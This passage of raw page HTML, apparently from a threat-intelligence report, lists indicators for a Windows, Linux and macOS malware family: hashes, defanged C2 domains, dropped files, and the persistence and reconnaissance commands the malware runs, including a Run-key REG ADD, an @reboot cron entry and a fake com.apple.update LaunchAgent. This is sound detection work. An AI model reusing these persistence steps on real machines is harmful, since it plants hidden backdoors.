class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h4&gt;Mac&lt;span class="hx:absolute hx:-mt-20" id="mac"&gt;&lt;/span&gt;
&lt;a href="#mac" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;1a9a5c797777f37463b44de2b49a7f95abca786db3977dcdac0f79da739c08ac
fe99db3268e058e1204aff679e0726dc77fd45d06757a5fda9eafc6a28cfb8df
d0febda3a3d2d68b0374c26784198dc4309dbe4a8978e44bb7584fd832c325f0&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h4&gt;Windows&lt;span class="hx:absolute hx:-mt-20" id="windows"&gt;&lt;/span&gt;
&lt;a href="#windows" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;61df74731fbe1eafb2eb987f20e5226962eeceef010164e41ea6c4494a4010fc
1ffd6559d21470c40dcf9236da51e5823d7ad58c93502279871c3fe7718c901c
d476ca89674c987ca399a97f2d635fe30a6ba81c95f93e8320a5f979a0563517
36fed8ab1bf473714d6886b8dcfbcaa200a72997d50ea0225a90c28306b7670e&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;C2&lt;span class="hx:absolute hx:-mt-20" id="c2"&gt;&lt;/span&gt;
&lt;a href="#c2" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;https[://]bookitlab[.]tech
https[://]winaudio-tools[.]com
https[://]graphic-updater[.]com
https[://]github[.]url-mini[.]com
https[://]office360-update[.]com
https[://]drive[.]google[.]com/uc?export=download&amp;amp;id=1-NVty4YX0dPHdxkgMrbdCldQCpCaE-Hn
https[://]drive[.]google[.]com/uc?export=download&amp;amp;id=1W64PQQxrwY3XjBnv_QAeBQu-ePr537eu&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h2&gt;Detection Content&lt;span class="hx:absolute hx:-mt-20" id="detection-content"&gt;&lt;/span&gt;
&lt;a href="#detection-content" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Windows&lt;span class="hx:absolute hx:-mt-20" id="windows-1"&gt;&lt;/span&gt;
&lt;a href="#windows-1" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;h4&gt;Files and directories created on the machine&lt;span class="hx:absolute hx:-mt-20" id="files-and-directories-created-on-the-machine"&gt;&lt;/span&gt;
&lt;a href="#files-and-directories-created-on-the-machine" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;C:\ProgramData\RecoverySystem
C:\ProgramData\RecoverySystem\recoveryWindows.zip
C:\ProgramData\RecoverySystem\msg.exe
C:\ProgramData\SystemData\
C:\ProgramData\SystemData\igfxCUIService.exe
C:\ProgramData\SystemData\tempo1.txt
C:\ProgramData\SystemData\tempo2.txt
C:\ProgramData\SystemData\tempi1.txt
C:\ProgramData\SystemData\tempi2.txt
C:\ProgramData\SystemData\temps1.txt
C:\ProgramData\SystemData\temps2.txt
C:\ProgramData\SystemData\tempu.txt
C:\ProgramData\SystemData\microsoft_windows.dll
C:\ProgramData\xAE Operating System\ServiceHub.exe&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h4&gt;Persistence&lt;span class="hx:absolute hx:-mt-20" id="persistence"&gt;&lt;/span&gt;
&lt;a href="#persistence" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Name: igfxCUIService
Type: REG_SZ
Data: &amp;#34;C:\ProgramData\SystemData\igfxCUIService.exe&amp;#34;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h4&gt;Commands&lt;span class="hx:absolute hx:-mt-20" id="commands"&gt;&lt;/span&gt;
&lt;a href="#commands" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-batch" data-lang="batch"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe&amp;#34;&lt;/span&gt; copy &amp;#39;C:\Users\&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;USER&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;\AppData\Local\Temp\1ffd6559d21470c40dcf9236.exe&amp;#39; &amp;#39;C:\ProgramData\SystemData\igfxCUIService.exe&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe&amp;#34;&lt;/span&gt; getmac &lt;span class="p"&gt;|&lt;/span&gt; Out-File -Encoding &amp;#39;Default&amp;#39; &amp;#39;C:\ProgramData\SystemData\temps1.txt&amp;#39; ; wmic path win32_physicalmedia get SerialNumber &lt;span class="p"&gt;|&lt;/span&gt; Out-File -Encoding &amp;#39;Default&amp;#39; &amp;#39;C:\ProgramData\SystemData\temps2.txt&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34;C:\Windows\System32\Wbem\WMIC.exe&amp;#34;&lt;/span&gt; path win32_physicalmedia get SerialNumber
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34;C:\Windows\system32\getmac.exe&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe&amp;#34;&lt;/span&gt; $env:username &lt;span class="p"&gt;|&lt;/span&gt; Out-File -Encoding &amp;#39;Default&amp;#39; &amp;#39;C:\ProgramData\SystemData\tempu.txt&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34;C:\Windows\System32\cmd.exe&amp;#34;&lt;/span&gt; /c wmic OS get Caption, CSDVersion, OSArchitecture, Version / value &lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;C:\ProgramData\SystemData\tempo1.txt&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="k"&gt;type&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;C:\ProgramData\SystemData\tempo1.txt&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;C:\ProgramData\SystemData\tempo2.txt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wmic OS get Caption, CSDVersion, OSArchitecture, Version / value
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34;C:\Windows\System32\cmd.exe&amp;#34;&lt;/span&gt; /c wmic nicconfig where &amp;#39;IPEnabled = True&amp;#39; get ipaddress &lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;C:\ProgramData\SystemData\tempi1.txt&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="k"&gt;type&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;C:\ProgramData\SystemData\tempi1.txt&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;C:\ProgramData\SystemData\tempi2.txt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wmic nicconfig where &amp;#39;IPEnabled = True&amp;#39; get ipaddress
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34;C:\Windows\System32\cmd.exe&amp;#34;&lt;/span&gt; /c REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V igfxCUIService /t REG_SZ /D &lt;span class="s2"&gt;&amp;#34;C:\ProgramData\SystemData\igfxCUIService.exe&amp;#34;&lt;/span&gt; /F
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V igfxCUIService /t REG_SZ /D &lt;span class="s2"&gt;&amp;#34;C:\ProgramData\SystemData\igfxCUIService.exe&amp;#34;&lt;/span&gt; /F&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Linux&lt;span class="hx:absolute hx:-mt-20" id="linux"&gt;&lt;/span&gt;
&lt;a href="#linux" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;h4&gt;Files and directories created on the machine&lt;span class="hx:absolute hx:-mt-20" id="files-and-directories-created-on-the-machine-1"&gt;&lt;/span&gt;
&lt;a href="#files-and-directories-created-on-the-machine-1" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;/.Library/
/.Library/SystemServices/updateSystem
/.Library/SystemNetwork
/.Library/log.txt&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h4&gt;Persistence&lt;span class="hx:absolute hx:-mt-20" id="persistence-1"&gt;&lt;/span&gt;
&lt;a href="#persistence-1" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Creates the cron job:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;@reboot (/.Library/SystemServices/updateSystem)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h4&gt;Commands&lt;span class="hx:absolute hx:-mt-20" id="commands-1"&gt;&lt;/span&gt;
&lt;a href="#commands-1" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crontab -l &lt;span class="p"&gt;|&lt;/span&gt; egrep -v &lt;span class="s2"&gt;&amp;#34;^(#|&lt;/span&gt;$&lt;span class="s2"&gt;)&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep -e &lt;span class="s2"&gt;&amp;#34;@reboot
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;(/.Library/SystemServices/updateSystem)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cp -rf &amp;lt;sample name&amp;gt; /.Library/SystemServices/updateSystem
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nohup &lt;span class="s1"&gt;&amp;#39;/.Library/SystemServices/updateSystem&amp;#39;&lt;/span&gt; &amp;gt;/dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ifconfig &lt;span class="p"&gt;|&lt;/span&gt; grep -v 127.0.0.1 &lt;span class="p"&gt;|&lt;/span&gt; grep -E &lt;span class="s2"&gt;&amp;#34;inet
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;([0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3})&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; awk &lt;span class="s1"&gt;&amp;#39;{print $2}&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ip address &lt;span class="p"&gt;|&lt;/span&gt; awk &lt;span class="s1"&gt;&amp;#39;/ether/{print $2}&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;id -u
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;uname -mrs&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Mac&lt;span class="hx:absolute hx:-mt-20" id="mac-1"&gt;&lt;/span&gt;
&lt;a href="#mac-1" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;h4&gt;Files and directories created on the machine&lt;span class="hx:absolute hx:-mt-20" id="files-and-directories-created-on-the-machine-2"&gt;&lt;/span&gt;
&lt;a href="#files-and-directories-created-on-the-machine-2" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;/Library/MacOsServices
/Library/MacOsServices/updateMacOs
/Library/SystemNetwork
/Library/LaunchAgents/com.apple.update.plist&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h4&gt;Persistence&lt;span class="hx:absolute hx:-mt-20" id="persistence-2"&gt;&lt;/span&gt;
&lt;a href="#persistence-2" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Creates persistence via LaunchAgent under the path:
&lt;code&gt;/Library/LaunchAgents/com.apple.update.plist&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Content:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-xml" data-lang="xml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;&amp;lt;!DOCTYPE plist PUBLIC &amp;#34;-//Apple//DTD PLIST 1.0//EN&amp;#34; &amp;#34;http://www.apple.com/DTDs/PropertyList-1.0.dtd&amp;#34;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;&amp;lt;plist&lt;/span&gt; &lt;span class="na"&gt;version=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;1.0&amp;#34;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;&amp;lt;dict&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;key&amp;gt;&lt;/span&gt;Label&lt;span class="nt"&gt;&amp;lt;/key&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;string&amp;gt;&lt;/span&gt;com.apple.update&lt;span class="nt"&gt;&amp;lt;/string&amp;gt;&lt;/span&gt;
